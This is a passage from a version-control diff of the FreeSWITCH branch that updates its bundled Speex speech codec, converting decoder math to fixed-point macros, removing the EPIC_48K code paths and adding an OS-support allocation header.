-         st->old_curve[i] = st->curve[i];
-   }
+      SPEEX_COPY(st->old_curve, st->curve, 128);
 #endif
 
    if (st->submodeID==1)
    {
+#ifndef DISABLE_VBR
       if (st->dtx_count)
          speex_bits_pack(bits, 15, 4);
       else
+#endif
          speex_bits_pack(bits, 0, 4);
    }
 
    /* The next frame will not be the first (Duh!) */
    st->first = 0;
-   speex_move(st->winBuf, in+2*st->frameSize-st->windowSize, (st->windowSize-st->frameSize)*sizeof(spx_word16_t));
+   SPEEX_COPY(st->winBuf, in+2*st->frameSize-st->windowSize, st->windowSize-st->frameSize);
 
    if (SUBMODE(innovation_quant) == noise_codebook_quant || st->submodeID==0)
       st->bounded_pitch = 1;
@@ -1063,9 +941,6 @@
 
 
    st->encode_submode = 1;
-#ifdef EPIC_48K
-   st->lbr_48k=mode->lbr48k;
-#endif
 
    st->first=1;
    /* Codec parameters, should eventually have several "modes"*/
@@ -1083,8 +958,7 @@
 
    st->excBuf = (spx_word16_t*)speex_alloc((st->frameSize + 2*st->max_pitch + st->subframeSize + 12)*sizeof(spx_word16_t));
    st->exc = st->excBuf + 2*st->max_pitch + st->subframeSize + 6;
-   for (i=0;i<st->frameSize + st->max_pitch + 1;i++)
-      st->excBuf[i]=0;
+   SPEEX_MEMSET(st->excBuf, 0, st->frameSize + st->max_pitch);
 
    st->interp_qlpc = (spx_coef_t*)speex_alloc(st->lpcSize*sizeof(spx_coef_t));
    st->old_qlsp = (spx_lsp_t*)speex_alloc(st->lpcSize*sizeof(spx_lsp_t));
@@ -1111,7 +985,7 @@
    st->highpass_enabled = 1;
 
 #ifdef ENABLE_VALGRIND
-   VALGRIND_MAKE_READABLE(st, (st->stack-(char*)st));
+   VALGRIND_MAKE_READABLE(st, NB_DEC_STACK);
 #endif
    return st;
 }
@@ -1166,7 +1040,7 @@
    pitch_gain = st->last_pitch_gain;
    if (pitch_gain>54)
       pitch_gain = 54;
-   pitch_gain = SHL(pitch_gain, 9);
+   pitch_gain = SHL16(pitch_gain, 9);
 #else   
    pitch_gain = GAIN_SCALING_1*st->last_pitch_gain;
    if (pitch_gain>.85)
@@ -1177,7 +1051,7 @@
    innov_gain = compute_rms16(st->exc, st->frameSize);
    noise_gain = MULT16_16_Q15(innov_gain, MULT16_16_Q15(fact, SUB16(Q15ONE,MULT16_16_Q15(pitch_gain,pitch_gain))));
    /* Shift all buffers by one frame */
-   speex_move(st->excBuf, st->excBuf+st->frameSize, (2*st->max_pitch + st->subframeSize + 12)*sizeof(spx_word16_t));
+   SPEEX_MOVE(st->excBuf, st->excBuf+st->frameSize, 2*st->max_pitch + st->subframeSize + 12);
    
 
    pitch_val = st->last_pitch + SHR32((spx_int32_t)speex_rand(1+st->count_lost, &st->seed),SIG_SHIFT);
@@ -1191,21 +1065,21 @@
             speex_rand(noise_gain, &st->seed);
    }
 
-   for (i=0;i<st->frameSize;i++)
-      out[i]=st->exc[i-st->subframeSize];
    bw_lpc(QCONST16(.98,15), st->interp_qlpc, st->interp_qlpc, st->lpcSize);
-   iir_mem16(out, st->interp_qlpc, out, st->frameSize, st->lpcSize, 
-             st->mem_sp, stack);
+   iir_mem16(&st->exc[-st->subframeSize], st->interp_qlpc, out, st->frameSize,
+             st->lpcSize, st->mem_sp, stack);
    highpass(out, out, st->frameSize, HIGHPASS_NARROWBAND|HIGHPASS_OUTPUT, st->mem_hp);
    
    st->first = 0;
    st->count_lost++;
-   st->pitch_gain_buf[st->pitch_gain_buf_idx++] = PSHR(pitch_gain,9);
+   st->pitch_gain_buf[st->pitch_gain_buf_idx++] = PSHR16(pitch_gain,9);
    if (st->pitch_gain_buf_idx > 2) /* rollover */
       st->pitch_gain_buf_idx = 0;
 }
 
-
+/* Just so we don't need to carry the complete wideband mode information */
+static const int wb_skip_table[8] = {0, 36, 112, 192, 352, 0, 0, 0};
+   
 int nb_decode(void *state, SpeexBits *bits, void *vout)
 {
    DecState *st;
@@ -1225,10 +1099,7 @@
    VARDECL(spx_coef_t *ak);
    VARDECL(spx_lsp_t *qlsp);
    spx_word16_t pitch_average=0;
-#ifdef EPIC_48K
-   int pitch_half[2];
-   int ol_pitch_id=0;
-#endif
+   
    spx_word16_t *out = (spx_word16_t*)vout;
    VARDECL(spx_lsp_t *interp_qlsp);
 
@@ -1250,9 +1121,6 @@
 
       if (st->encode_submode)
       {
-#ifdef EPIC_48K
-         if (!st->lbr_48k) {
-#endif
 
       /* Search for next narrowband block (handle requests, skip wideband blocks) */
       do {
@@ -1264,10 +1132,11 @@
             int submode;
             int advance;
             advance = submode = speex_bits_unpack_unsigned(bits, SB_SUBMODE_BITS);
-            speex_mode_query(&speex_wb_mode, SPEEX_SUBMODE_BITS_PER_FRAME, &advance);
+            /*speex_mode_query(&speex_wb_mode, SPEEX_SUBMODE_BITS_PER_FRAME, &advance);*/
+            advance = wb_skip_table[submode];
             if (advance < 0)
             {
-               speex_warning ("Invalid wideband mode encountered. Corrupted stream?");
+               speex_notify("Invalid mode encountered. The stream is corrupted.");
                return -2;
             } 
             advance -= (SB_SUBMODE_BITS+1);
@@ -1279,10 +1148,11 @@
             if (wideband)
             {
                advance = submode = speex_bits_unpack_unsigned(bits, SB_SUBMODE_BITS);
-               speex_mode_query(&speex_wb_mode, SPEEX_SUBMODE_BITS_PER_FRAME, &advance);
+               /*speex_mode_query(&speex_wb_mode, SPEEX_SUBMODE_BITS_PER_FRAME, &advance);*/
+               advance = wb_skip_table[submode];
                if (advance < 0)
                {
-                  speex_warning ("Invalid wideband mode encountered: corrupted stream?");
+                  speex_notify("Invalid mode encountered. The stream is corrupted.");
                   return -2;
                } 
                advance -= (SB_SUBMODE_BITS+1);
@@ -1290,7 +1160,7 @@
                wideband = speex_bits_unpack_unsigned(bits, 1);
                if (wideband)
                {
-                  speex_warning ("More than two wideband layers found: corrupted stream?");
+                  speex_notify("More than two wideband layers found. The stream is corrupted.");
                   return -2;
                }
 
@@ -1315,7 +1185,7 @@
                return ret;
          } else if (m>8) /* Invalid mode */
          {
-            speex_warning("Invalid mode encountered: corrupted stream?");
+            speex_notify("Invalid mode encountered. The stream is corrupted.");
             return -2;
          }
       
@@ -1323,27 +1193,21 @@
 
       /* Get the sub-mode that was used */
       st->submodeID = m;
-#ifdef EPIC_48K
-         }
-#endif
       }
 
    }
 
    /* Shift all buffers by one frame */
-   speex_move(st->excBuf, st->excBuf+st->frameSize, (2*st->max_pitch + st->subframeSize + 12)*sizeof(spx_word16_t));
+   SPEEX_MOVE(st->excBuf, st->excBuf+st->frameSize, 2*st->max_pitch + st->subframeSize + 12);
 
    /* If null mode (no transmission), just set a couple things to zero*/
    if (st->submodes[st->submodeID] == NULL)
    {
       VARDECL(spx_coef_t *lpc);
       ALLOC(lpc, st->lpcSize, spx_coef_t);
-      bw_lpc(GAMMA_SCALING*.93, st->interp_qlpc, lpc, st->lpcSize);
+      bw_lpc(QCONST16(0.93f,15), st->interp_qlpc, lpc, st->lpcSize);
       {
-         float innov_gain=0;
-         float pgain=GAIN_SCALING_1*st->last_pitch_gain;
-         if (pgain>.6)
-            pgain=.6;
+         spx_word16_t innov_gain=0;
          /* FIXME: This was innov, not exc */
          innov_gain = compute_rms16(st->exc, st->frameSize);
          for (i=0;i<st->frameSize;i++)
@@ -1353,10 +1217,8 @@
 
       st->first=1;
 
-      for (i=0;i<st->frameSize;i++)
-         out[i] = st->exc[i];
       /* Final signal synthesis from excitation */
-      iir_mem16(out, lpc, out, st->frameSize, st->lpcSize, st->mem_sp, stack);
+      iir_mem16(st->exc, lpc, out, st->frameSize, st->lpcSize, st->mem_sp, stack);
 
       st->count_lost=0;
       return 0;
@@ -1391,23 +1253,6 @@
          st->old_qlsp[i] = qlsp[i];
    }
 
-#ifdef EPIC_48K
-   if (st->lbr_48k) {
-      pitch_half[0] = st->min_pitch+speex_bits_unpack_unsigned(bits, 7);
-      pitch_half[1] = pitch_half[0]+speex_bits_unpack_unsigned(bits, 2)-1;
-
-      ol_pitch_id = speex_bits_unpack_unsigned(bits, 3);
-      ol_pitch_coef=GAIN_SCALING*0.13514*ol_pitch_id;
-
-      {
-         int qe;
-         qe = speex_bits_unpack_unsigned(bits, 4);
-         ol_gain = SIG_SCALING*exp((qe+2)/2.1),SIG_SHIFT;
-      }
-
-   } else {
-#endif
-
    /* Get open-loop pitch estimation for low bit-rate pitch coding */
    if (SUBMODE(lbr_pitch)!=-1)
    {
@@ -1418,7 +1263,7 @@
    {
       int quant;
       quant = speex_bits_unpack_unsigned(bits, 4);
-      ol_pitch_coef=GAIN_SCALING*0.066667*quant;
+      ol_pitch_coef=MULT16_16_P15(QCONST16(0.066667,15),SHL16(quant,GAIN_SHIFT));
    }
    
    /* Get global excitation gain */
@@ -1426,14 +1271,12 @@
       int qe;
       qe = speex_bits_unpack_unsigned(bits, 5);
 #ifdef FIXED_POINT
+      /* FIXME: Perhaps we could slightly lower the gain here when the output is going to saturate? */
       ol_gain = MULT16_32_Q15(28406,ol_gain_table[qe]);
 #else
       ol_gain = SIG_SCALING*exp(qe/3.5);
 #endif
    }
-#ifdef EPIC_48K
-   }
-#endif
 
    ALLOC(ak, st->lpcSize, spx_coef_t);
    ALLOC(innov, st->subframeSize, spx_sig_t);
@@ -1458,19 +1301,9 @@
       int offset;
       spx_word16_t *exc;
       spx_word16_t *sp;
-      spx_sig_t *innov_save = NULL;
+      spx_word16_t *innov_save = NULL;
       spx_word16_t tmp;
 
-#ifdef EPIC_48K
-      if (st->lbr_48k)
-      {
-         if (sub*2 < st->nbSubframes)
-            ol_pitch = pitch_half[0];
-         else
-            ol_pitch = pitch_half[1];
-      }
-#endif
-
       /* Offset relative to start of frame */
       offset = st->subframeSize*sub;
       /* Excitation */
@@ -1482,11 +1315,10 @@
 
 
       /* Reset excitation */
-      for (i=0;i<st->subframeSize;i++)
-         exc[i]=0;
+      SPEEX_MEMSET(exc, 0, st->subframeSize);
 
       /*Adaptive codebook contribution*/
-      if (SUBMODE(ltp_unquant))
+      speex_assert (SUBMODE(ltp_unquant));
       {
          int pit_min, pit_max;
          /* Handle pitch constraints if any */
@@ -1519,23 +1351,16 @@
          }
 
 
-#ifdef EPIC_48K
-         if (st->lbr_48k)
-         {
-             SUBMODE(ltp_unquant)(exc, exc32, pit_min, pit_max, ol_pitch_coef, SUBMODE(ltp_params), 
-                                  st->subframeSize, &pitch, &pitch_gain[0], bits, stack, 
-                                  st->count_lost, offset, st->last_pitch_gain, ol_pitch_id);
-         } else {
-#endif
 
-             SUBMODE(ltp_unquant)(exc, exc32, pit_min, pit_max, ol_pitch_coef, SUBMODE(ltp_params), 
-                                  st->subframeSize, &pitch, &pitch_gain[0], bits, stack, 
-                                  st->count_lost, offset, st->last_pitch_gain, 0);
+         SUBMODE(ltp_unquant)(exc, exc32, pit_min, pit_max, ol_pitch_coef, SUBMODE(ltp_params), 
+                 st->subframeSize, &pitch, &pitch_gain[0], bits, stack, 
+                 st->count_lost, offset, st->last_pitch_gain, 0);
 
-#ifdef EPIC_48K
-         }
-#endif
-
+         /* Ensuring that things aren't blowing up as would happen if e.g. an encoder is 
+         crafting packets to make us produce NaNs and slow down the decoder (vague DoS threat).
+         We can probably be even more aggressive and limit to 15000 or so. */
+         sanitize_values32(exc32, NEG32(QCONST32(32000,SIG_SHIFT-1)), QCONST32(32000,SIG_SHIFT-1), st->subframeSize);
+         
          tmp = gain_3tap_to_1tap(pitch_gain);
 
          pitch_average += tmp;
@@ -1547,8 +1372,6 @@
             if (tmp > best_pitch_gain)
                best_pitch_gain = tmp;
          }
-      } else {
-         speex_error("No pitch prediction, what's wrong");
       }
       
       /* Unquantize the innovation */
@@ -1556,8 +1379,7 @@
          int q_energy;
          spx_word32_t ener;
          
-         for (i=0;i<st->subframeSize;i++)
-            innov[i]=0;
+         SPEEX_MEMSET(innov, 0, st->subframeSize);
 
          /* Decode sub-frame gain correction */
          if (SUBMODE(have_subframe_gain)==3)
@@ -1572,80 +1394,72 @@
             ener = ol_gain;
          }
                   
-         if (SUBMODE(innovation_unquant))
+         speex_assert (SUBMODE(innovation_unquant));
          {
             /*Fixed codebook contribution*/
             SUBMODE(innovation_unquant)(innov, SUBMODE(innovation_params), st->subframeSize, bits, stack, &st->seed);
-         } else {
-            speex_error("No fixed codebook");
+            /* De-normalize innovation and update excitation */
+
+            signal_mul(innov, innov, ener, st->subframeSize);
+
+            /* Decode second codebook (only for some modes) */
+            if (SUBMODE(double_codebook))
+            {
+               char *tmp_stack=stack;
+               VARDECL(spx_sig_t *innov2);
+               ALLOC(innov2, st->subframeSize, spx_sig_t);
+               SPEEX_MEMSET(innov2, 0, st->subframeSize);
+               SUBMODE(innovation_unquant)(innov2, SUBMODE(innovation_params), st->subframeSize, bits, stack, &st->seed);
+               signal_mul(innov2, innov2, MULT16_32_Q15(QCONST16(0.454545f,15),ener), st->subframeSize);
+               for (i=0;i<st->subframeSize;i++)
+                  innov[i] = ADD32(innov[i], innov2[i]);
+               stack = tmp_stack;
+            }
+            for (i=0;i<st->subframeSize;i++)
+               exc[i]=EXTRACT16(SATURATE32(PSHR32(ADD32(SHL32(exc32[i],1),innov[i]),SIG_SHIFT),32767));
+            /*print_vec(exc, 40, "innov");*/
+            if (innov_save)
+            {
+               for (i=0;i<st->subframeSize;i++)
+                  innov_save[i] = EXTRACT16(PSHR32(innov[i], SIG_SHIFT));
+            }
          }
 
-         /* De-normalize innovation and update excitation */
-#ifdef FIXED_POINT
-         signal_mul(innov, innov, ener, st->subframeSize);
-#else
-         signal_mul(innov, innov, ener, st->subframeSize);
-#endif
          /*Vocoder mode*/
          if (st->submodeID==1) 
          {
-            float g=ol_pitch_coef*GAIN_SCALING_1;
-
+            spx_word16_t g=ol_pitch_coef;
+            g=MULT16_16_P14(QCONST16(1.5f,14),(g-QCONST16(.2f,6)));
+            if (g<0)
+               g=0;
+            if (g>GAIN_SCALING)
+               g=GAIN_SCALING;
             
-            for (i=0;i<st->subframeSize;i++)
-               exc[i]=0;
+            SPEEX_MEMSET(exc, 0, st->subframeSize);
             while (st->voc_offset<st->subframeSize)
             {
+               /* exc[st->voc_offset]= g*sqrt(2*ol_pitch)*ol_gain;
+                  Not quite sure why we need the factor of two in the sqrt */
                if (st->voc_offset>=0)
-                  exc[st->voc_offset]=sqrt(1.0*ol_pitch);
+                  exc[st->voc_offset]=MULT16_16(spx_sqrt(MULT16_16_16(2,ol_pitch)),EXTRACT16(PSHR32(MULT16_16(g,PSHR32(ol_gain,SIG_SHIFT)),6)));
                st->voc_offset+=ol_pitch;
             }
             st->voc_offset -= st->subframeSize;
-
-            g=.5+2*(g-.6);
-            if (g<0)
-               g=0;
-            if (g>1)
-               g=1;
+            
             for (i=0;i<st->subframeSize;i++)
             {
                spx_word16_t exci=exc[i];
-               /* FIXME: cleanup the innov[i]/SIG_SCALING */
-               exc[i]=.8*g*exc[i]*PSHR32(ol_gain,SIG_SHIFT) + .6*g*st->voc_m1*PSHR32(ol_gain,SIG_SHIFT) + (1-.5*g)*PSHR32(innov[i],SIG_SHIFT) - .5*g*PSHR32(st->voc_m2,SIG_SHIFT);
+               exc[i]= ADD16(ADD16(MULT16_16_Q15(QCONST16(.7f,15),exc[i]) , MULT16_16_Q15(QCONST16(.3f,15),st->voc_m1)),
+                             SUB16(MULT16_16_Q15(Q15_ONE-MULT16_16_16(QCONST16(.85f,9),g),EXTRACT16(PSHR32(innov[i],SIG_SHIFT))),
+                                   MULT16_16_Q15(MULT16_16_16(QCONST16(.15f,9),g),EXTRACT16(PSHR32(st->voc_m2,SIG_SHIFT)))
+                                  ));
                st->voc_m1 = exci;
                st->voc_m2=innov[i];
-               st->voc_mean = .95*st->voc_mean + .05*exc[i];
+               st->voc_mean = EXTRACT16(PSHR32(ADD32(MULT16_16(QCONST16(.8f,15),st->voc_mean), MULT16_16(QCONST16(.2f,15),exc[i])), 15));
                exc[i]-=st->voc_mean;
             }
-         } else {
-            for (i=0;i<st->subframeSize;i++)
-               exc[i]=PSHR32(ADD32(SHL32(exc32[i],1),innov[i]),SIG_SHIFT);
-            /*print_vec(exc, 40, "innov");*/
          }
-         if (innov_save)
-         {
-            for (i=0;i<st->subframeSize;i++)
-               innov_save[i] = innov[i];
-         }
-         /* Decode second codebook (only for some modes) */
-         if (SUBMODE(double_codebook))
-         {
-            char *tmp_stack=stack;
-            VARDECL(spx_sig_t *innov2);
-            ALLOC(innov2, st->subframeSize, spx_sig_t);
-            for (i=0;i<st->subframeSize;i++)
-               innov2[i]=0;
-            SUBMODE(innovation_unquant)(innov2, SUBMODE(innovation_params), st->subframeSize, bits, stack, &st->seed);
-            signal_mul(innov2, innov2, MULT16_32_Q15(QCONST16(0.454545,15),ener), st->subframeSize);
-            for (i=0;i<st->subframeSize;i++)
-               exc[i] = ADD16(exc[i],PSHR32(innov2[i],SIG_SHIFT));
-            if (innov_save)
-            {
-               for (i=0;i<st->subframeSize;i++)
-                  innov_save[i] = ADD32(innov_save[i],innov2[i]);
-            }
-            stack = tmp_stack;
-         }
+
       }
    }
    
@@ -1656,8 +1470,7 @@
       multicomb(st->exc-st->subframeSize, out, st->interp_qlpc, st->lpcSize, 2*st->subframeSize, best_pitch, 40, SUBMODE(comb_gain), stack);
       multicomb(st->exc+st->subframeSize, out+2*st->subframeSize, st->interp_qlpc, st->lpcSize, 2*st->subframeSize, best_pitch, 40, SUBMODE(comb_gain), stack);
    } else {
-      for (i=0;i<st->frameSize;i++)
-         out[i]=st->exc[i-st->subframeSize];
+      SPEEX_COPY(out, &st->exc[-st->subframeSize], st->frameSize);
    }
    
    /* If the last packet was lost, re-scale the excitation to obtain the same energy as encoded in ol_gain */
@@ -1712,7 +1525,7 @@
          for (i=0;i<st->lpcSize;i+=2)
          {
             /*pi_g += -st->interp_qlpc[i] +  st->interp_qlpc[i+1];*/
-            pi_g = ADD32(pi_g, SUB32(EXTEND32(st->interp_qlpc[i+1]),EXTEND32(st->interp_qlpc[i])));
+            pi_g = ADD32(pi_g, SUB32(EXTEND32(ak[i+1]),EXTEND32(ak[i])));
          }
          st->pi_gain[sub] = pi_g;
       }
@@ -1730,6 +1543,14 @@
    /*for (i=0;i<st->frameSize;i++)
      printf ("%d\n", (int)st->frame[i]);*/
 
+   /* Tracking output level */
+   st->level = 1+PSHR32(ol_gain,SIG_SHIFT);
+   st->max_level = MAX16(MULT16_16_Q15(QCONST16(.99f,15), st->max_level), st->level);
+   st->min_level = MIN16(ADD16(1,MULT16_16_Q14(QCONST16(1.01f,14), st->min_level)), st->level);
+   if (st->max_level < st->min_level+1)
+      st->max_level = st->min_level+1;
+   /*printf ("%f %f %f %d\n", og, st->min_level, st->max_level, update);*/
+   
    /* Store the LSPs for interpolation in the next frame */
    for (i=0;i<st->lpcSize;i++)
       st->old_qlsp[i] = qlsp[i];
@@ -1769,7 +1590,8 @@
    case SPEEX_GET_MODE:
       (*(spx_int32_t*)ptr) = st->submodeID;
       break;
-   case SPEEX_SET_VBR:
+#ifndef DISABLE_VBR
+      case SPEEX_SET_VBR:
       st->vbr_enabled = (*(spx_int32_t*)ptr);
       break;
    case SPEEX_GET_VBR:
@@ -1817,12 +1639,15 @@
    case SPEEX_GET_ABR:
       (*(spx_int32_t*)ptr) = st->abr_enabled;
       break;
+#endif /* #ifndef DISABLE_VBR */
+#if !defined(DISABLE_VBR) && !defined(DISABLE_FLOAT_API)
    case SPEEX_SET_VBR_QUALITY:
       st->vbr_quality = (*(float*)ptr);
       break;
    case SPEEX_GET_VBR_QUALITY:
       (*(float*)ptr) = st->vbr_quality;
       break;
+#endif /* !defined(DISABLE_VBR) && !defined(DISABLE_FLOAT_API) */
    case SPEEX_SET_QUALITY:
       {
          int quality = (*(spx_int32_t*)ptr);
@@ -1874,7 +1699,7 @@
          st->bounded_pitch = 1;
          st->first = 1;
          for (i=0;i<st->lpcSize;i++)
-            st->old_lsp[i]=(M_PI*((float)(i+1)))/(st->lpcSize+1);
+            st->old_lsp[i]= DIV32(MULT16_16(QCONST16(3.1415927f, LSP_SHIFT), i+1), st->lpcSize+1);
          for (i=0;i<st->lpcSize;i++)
             st->mem_sw[i]=st->mem_sw_whole[i]=st->mem_sp[i]=st->mem_exc[i]=0;
          for (i=0;i<st->frameSize+st->max_pitch+1;i++)
@@ -1900,12 +1725,14 @@
    case SPEEX_GET_PLC_TUNING:
       (*(spx_int32_t*)ptr)=(st->plc_tuning);
       break;
+#ifndef DISABLE_VBR
    case SPEEX_SET_VBR_MAX_BITRATE:
       st->vbr_max = (*(spx_int32_t*)ptr);
       break;
    case SPEEX_GET_VBR_MAX_BITRATE:
       (*(spx_int32_t*)ptr) = st->vbr_max;
       break;
+#endif /* #ifndef DISABLE_VBR */
    case SPEEX_SET_HIGHPASS:
       st->highpass_enabled = (*(spx_int32_t*)ptr);
       break;
@@ -1925,20 +1752,24 @@
    case SPEEX_GET_EXC:
       {
          int i;
-         spx_word16_t *e = (spx_word16_t*)ptr;
-         for (i=0;i<st->frameSize;i++)
-            e[i]=st->exc[i];
+         for (i=0;i<st->nbSubframes;i++)
+            ((spx_word16_t*)ptr)[i] = compute_rms16(st->exc+i*st->subframeSize, st->subframeSize);
       }
       break;
+#ifndef DISABLE_VBR
    case SPEEX_GET_RELATIVE_QUALITY:
       (*(float*)ptr)=st->relative_quality;
       break;
+#endif /* #ifndef DISABLE_VBR */
    case SPEEX_SET_INNOVATION_SAVE:
-      st->innov_save = (spx_sig_t*)ptr;
+      st->innov_rms_save = (spx_word16_t*)ptr;
       break;
    case SPEEX_SET_WIDEBAND:
       st->isWideband = *((spx_int32_t*)ptr);
       break;
+   case SPEEX_GET_STACK:
+      *((char**)ptr) = st->stack;
+      break;
    default:
       speex_warning_int("Unknown nb_ctl request: ", request);
       return -1;
@@ -2021,7 +1852,22 @@
    case SPEEX_GET_HIGHPASS:
       (*(spx_int32_t*)ptr) = st->highpass_enabled;
       break;
-
+      /* FIXME: Convert to fixed-point and re-enable even when float API is disabled */
+#ifndef DISABLE_FLOAT_API
+   case SPEEX_GET_ACTIVITY:
+   {
+      float ret;
+      ret = log(st->level/st->min_level)/log(st->max_level/st->min_level);
+      if (ret>1)
+         ret = 1;
+      /* Done in a strange way to catch NaNs as well */
+      if (!(ret > 0))
+         ret = 0;
+      /*printf ("%f %f %f %f\n", st->level, st->min_level, st->max_level, ret);*/
+      (*(spx_int32_t*)ptr) = (int)(100*ret);
+   }
+   break;
+#endif
    case SPEEX_GET_PI_GAIN:
       {
          int i;
@@ -2033,20 +1879,22 @@
    case SPEEX_GET_EXC:
       {
          int i;
-         spx_word16_t *e = (spx_word16_t*)ptr;
-         for (i=0;i<st->frameSize;i++)
-            e[i]=st->exc[i];
+         for (i=0;i<st->nbSubframes;i++)
+            ((spx_word16_t*)ptr)[i] = compute_rms16(st->exc+i*st->subframeSize, st->subframeSize);
       }
       break;
    case SPEEX_GET_DTX_STATUS:
       *((spx_int32_t*)ptr) = st->dtx_enabled;
       break;
    case SPEEX_SET_INNOVATION_SAVE:
-      st->innov_save = (spx_sig_t*)ptr;
+      st->innov_save = (spx_word16_t*)ptr;
       break;
    case SPEEX_SET_WIDEBAND:
       st->isWideband = *((spx_int32_t*)ptr);
       break;
+   case SPEEX_GET_STACK:
+      *((char**)ptr) = st->stack;
+      break;
    default:
       speex_warning_int("Unknown nb_ctl request: ", request);
       return -1;

Modified: freeswitch/branches/seven/libs/speex/libspeex/nb_celp.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/nb_celp.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/nb_celp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -64,10 +64,6 @@
    int    ol_voiced;             /**< Open-loop voiced/non-voiced decision */
    int   *pitch;
 
-#ifdef EPIC_48K
-   int    lbr_48k;
-#endif
-
 #ifdef VORBIS_PSYCHO
    VorbisPsy *psy;
    float *psy_window;
@@ -77,7 +73,6 @@
 
    spx_word16_t  gamma1;         /**< Perceptual filter: A(z/gamma1) */
    spx_word16_t  gamma2;         /**< Perceptual filter: A(z/gamma2) */
-   float  lag_factor;            /**< Lag windowing Gaussian width */
    spx_word16_t  lpc_floor;      /**< Noise floor multiplier for A[0] in LPC analysis*/
    char  *stack;                 /**< Pseudo-stack allocation for temporary memory */
    spx_word16_t *winBuf;         /**< Input buffer (original signal) */
@@ -86,7 +81,7 @@
    spx_word16_t *swBuf;          /**< Weighted signal buffer */
    spx_word16_t *sw;             /**< Start of weighted signal frame */
    const spx_word16_t *window;   /**< Temporary (Hanning) window */
-   spx_word16_t *lagWindow;      /**< Window applied to auto-correlation */
+   const spx_word16_t *lagWindow;      /**< Window applied to auto-correlation */
    spx_lsp_t *old_lsp;           /**< LSPs for previous frame */
    spx_lsp_t *old_qlsp;          /**< Quantized LSPs for previous frame */
    spx_mem_t *mem_sp;            /**< Filter memory for signal synthesis */
@@ -96,8 +91,9 @@
    spx_mem_t *mem_exc2;          /**< Filter memory for excitation (whole frame) */
    spx_mem_t mem_hp[2];          /**< High-pass filter memory */
    spx_word32_t *pi_gain;        /**< Gain of LPC filter at theta=pi (fe/2) */
-   spx_sig_t *innov_save;        /**< If non-NULL, innovation is copied here */
-         
+   spx_word16_t *innov_rms_save; /**< If non-NULL, innovation RMS is copied here */
+
+#ifndef DISABLE_VBR
    VBRState *vbr;                /**< State of the VBR data */
    float  vbr_quality;           /**< Quality setting for VBR encoding */
    float  relative_quality;      /**< Relative quality that will be needed by VBR */
@@ -110,6 +106,8 @@
    float  abr_drift;
    float  abr_drift2;
    float  abr_count;
+#endif /* #ifndef DISABLE_VBR */
+   
    int    complexity;            /**< Complexity setting (0-10 from least complex to most complex) */
    spx_int32_t sampling_rate;
    int    plc_tuning;
@@ -134,10 +132,6 @@
    int    max_pitch;            /**< Maximum pitch value allowed */
    spx_int32_t sampling_rate;
 
-#ifdef EPIC_48K
-   int    lbr_48k;
-#endif
-
    spx_word16_t  last_ol_gain;  /**< Open-loop gain for previous frame */
 
    char  *stack;                /**< Pseudo-stack allocation for temporary memory */
@@ -148,8 +142,12 @@
    spx_mem_t *mem_sp;           /**< Filter memory for synthesis signal */
    spx_mem_t mem_hp[2];         /**< High-pass filter memory */
    spx_word32_t *pi_gain;       /**< Gain of LPC filter at theta=pi (fe/2) */
-   spx_sig_t *innov_save;       /** If non-NULL, innovation is copied here */
+   spx_word16_t *innov_save;    /** If non-NULL, innovation is copied here */
    
+   spx_word16_t level;
+   spx_word16_t max_level;
+   spx_word16_t min_level;
+   
    /* This is used in packet loss concealment */
    int    last_pitch;           /**< Pitch of last correctly decoded frame */
    spx_word16_t  last_pitch_gain; /**< Pitch gain of last correctly decoded frame */
@@ -168,7 +166,7 @@
    /*Vocoder data*/
    spx_word16_t  voc_m1;
    spx_word32_t  voc_m2;
-   float  voc_mean;
+   spx_word16_t  voc_mean;
    int    voc_offset;
 
    int    dtx_enabled;

Copied: freeswitch/branches/seven/libs/speex/libspeex/os_support.h (from rev 14471, freeswitch/trunk/libs/speex/libspeex/os_support.h) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/os_support.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/libspeex/os_support.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,169 @@
+/* Copyright (C) 2007 Jean-Marc Valin
+      
+   File: os_support.h
+   This is the (tiny) OS abstraction layer. Aside from math.h, this is the
+   only place where system headers are allowed.
+
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions are
+   met:
+
+   1. Redistributions of source code must retain the above copyright notice,
+   this list of conditions and the following disclaimer.
+
+   2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+
+   3. The name of the author may not be used to endorse or promote products
+   derived from this software without specific prior written permission.
+
+   THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+   IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+   OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+   DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
+   INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+   SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+   HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+   STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+   ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+   POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#ifndef OS_SUPPORT_H
+#define OS_SUPPORT_H
+
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+#ifdef OS_SUPPORT_CUSTOM
+#include "os_support_custom.h"
+#endif
+
+/** Speex wrapper for calloc. To do your own dynamic allocation, all you need to do is replace this function, speex_realloc and speex_free 
+    NOTE: speex_alloc needs to CLEAR THE MEMORY */
+#ifndef OVERRIDE_SPEEX_ALLOC
+static inline void *speex_alloc (int size)
+{
+   /* WARNING: this is not equivalent to malloc(). If you want to use malloc() 
+      or your own allocator, YOU NEED TO CLEAR THE MEMORY ALLOCATED. Otherwise
+      you will experience strange bugs */
+   return calloc(size,1);
+}
+#endif
+
